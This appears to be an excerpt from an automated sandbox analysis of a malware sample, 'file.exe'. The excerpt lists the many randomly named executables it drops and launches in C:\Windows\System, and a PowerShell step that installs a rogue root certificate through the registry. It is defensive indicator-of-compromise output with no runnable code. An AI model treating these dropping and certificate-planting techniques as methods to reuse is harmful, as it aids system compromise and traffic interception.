Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\XZxtJFw.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\sabRErB.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\oxCQuSo.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\fpHmIIc.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\xIpouRJ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\mKdsHiQ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\ZTSJHKb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\hAOVVjq.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\wJNkgSa.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\bJVoOik.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\tyQdqmC.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\defQfgC.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\VWrcuzM.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\LKurWpq.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\jtnQpnb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\mbSqRHL.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\FGSooXz.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\UqXZtcb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\WCbcoxD.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\imwRXsl.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\nWSykjl.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\eVVPPqR.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\wHnuprt.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\VFkciqc.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\iHSYLud.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\WLWcTVM.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\hEUEsIC.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\Csmwgyb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\xNhRSWh.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\QWtCxan.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\ERbKWDm.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\MwFvbxc.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\vyHGCnK.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\uxMRJKa.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\wkazDeV.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\VHwkuIa.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\sdTevgk.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\System\bzSbRdi.exe	Jump to behavior

Installs new ROOT certificates

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\kYjPKaN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RcAqfwv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PaGFrFU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\OpMgkKg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MydOwjq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HKdVaSy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FgiIXgf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NyhRMmW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rgBmwKj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\QdDnaqt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BpqsHCR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gKbbPbF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\kFAVWnk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\roZGxps.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SAfbgcC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XWzPvUm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wkIkkhX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UQkDiSP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AQSffhY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uRBSbtU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YYCxOQh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rYIlnZs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XZxtJFw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\dCnJkoQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BwBweqn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pzbELEW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\qdErmhf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rQJmlSe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\qQyXqOp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fIqTNJz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WlVmTit.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xAzCYwU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eXUokzg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\IpqVIyY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\oUGjnOU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sabRErB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BwjWQVv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\snZBbmy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eVVPPqR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\KEULPTl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mgbtojr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UmvuxvA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\Uvtpjkd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NLJeLdM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ORmCcsC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xneUGSK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\KVgdAzq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jYFqRXp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XAgYYqB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WTLAzgJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\whRtinB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wHnuprt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mXElbHo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VgNRTsd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DbVBXPi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uaJCfvY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jAqlPqL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JKpmIVS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wibjUVa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\oxCQuSo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\GmNUXAr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\IofoOIp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\CWLRJYu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HnTfvAZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\delwiax.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EkcZQPq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fylerHE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VFkciqc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fpHmIIc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\vUKZkjM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\yXkrKHV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VwIvzCk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VdwdSnC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fyffsXe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\TscCBWf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iHSYLud.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wJZTVhW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gCZFmUf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JUxucoT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YFzrUDj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bpCJdvZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VGaSwYr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UlGsoAn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uSdaSKW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YHgRCCe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YnfMwga.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UExJWUr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PLFTiIe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EMuPVcI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xIpouRJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wpjxcMS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LOvnxUx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wCJLXKb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sXBohAC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ABievJY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PrFZfUv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MKAkyBP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mKdsHiQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BNgUfBr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WLWcTVM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ukkpYme.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hEUEsIC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mWAGJFM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\cLSDHvv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\Csmwgyb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uHZGZjz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jzfTIlb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sOpjlAo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fWWVlTg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PZXDYlu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DTREvJC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HeXCeXe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BtXtEfY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sOGcIfs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SNcreuq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tRGqWXW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iIwdGAS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RlLCkUy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\caYiRYR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\otCfESI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MLxwqET.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xNhRSWh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZTSJHKb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YUQTINM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fEOJwwW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ppfNNTX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PABSWXd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MCvhdFU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fYMwhpS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ASKjfZy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PUqZmPS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NzANgdB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hhEeZzN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hAOVVjq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\vREuzRr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eLYbCEG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MgoHIfZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sFwDWFc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jqUGnrw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\usscfzm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rXBWFEL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wJNkgSa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZDeifCM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mEVTdIJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XqXHiyf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ajEytdP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PRQFErV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\blOLvcj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JGfFPYZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mZnsuql.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DrKJjXc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JRnaUrS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\IBWzTMA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iSmvfWm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bJVoOik.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VExclqz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mtnXczE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uwKMlqy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gQbnwXn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tXVZMjj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SYLAfii.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uBSPQKP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wWwDsEl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\brplcms.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tyQdqmC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\zJwJxgA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RKUSbZV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jkErNHB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rwUXwnj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gAPrxpM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\GaSDvNs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\zYyqoWF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iJpJhmt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PdxLXDE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LYzOvkf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uNQcZEb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ERbKWDm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\zzbooXY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\QWtCxan.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ltlcnHD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tzOEnrH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FaabrKu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SOFlTuM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RtRmRJz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SxjZpBy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LPMtFlZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pPLiGBV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\dmPtXnK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\QZBRXHU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ssUJwoR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ndpwHPZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lQcYvMS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VPuwqFY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ihDRfqA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sctmwAr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uJEYoyF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\defQfgC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XJEUdeq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rKZvlov.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VWrcuzM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\KVTiBjz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sPniyBl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wsmNUVo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lrIaMFU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LKurWpq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HUohYxb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MwFvbxc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\StIsyPE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WOvgLKK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xsirwHn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ffPPQcz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\cVJdttA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VLekFWd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\CpMhLMx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FGUHzJz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NuxBytj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gXwIlxx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HNocQDn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ftWkAMN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\nJFWveO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rfpCYxf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xZqqKxJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UiAsnNy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HEPcUok.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fXSZuyj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ArNQyZf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hAjIjRa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rDRaLhy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UyqOZIb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rTrjeti.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AONeoTK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RgcKJVt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gPTriDK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bymvMyH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XBXKJRi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\osHoaGO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eQlnkhq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LNyWtrn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZlvPlxy.exe	Jump to dropped file
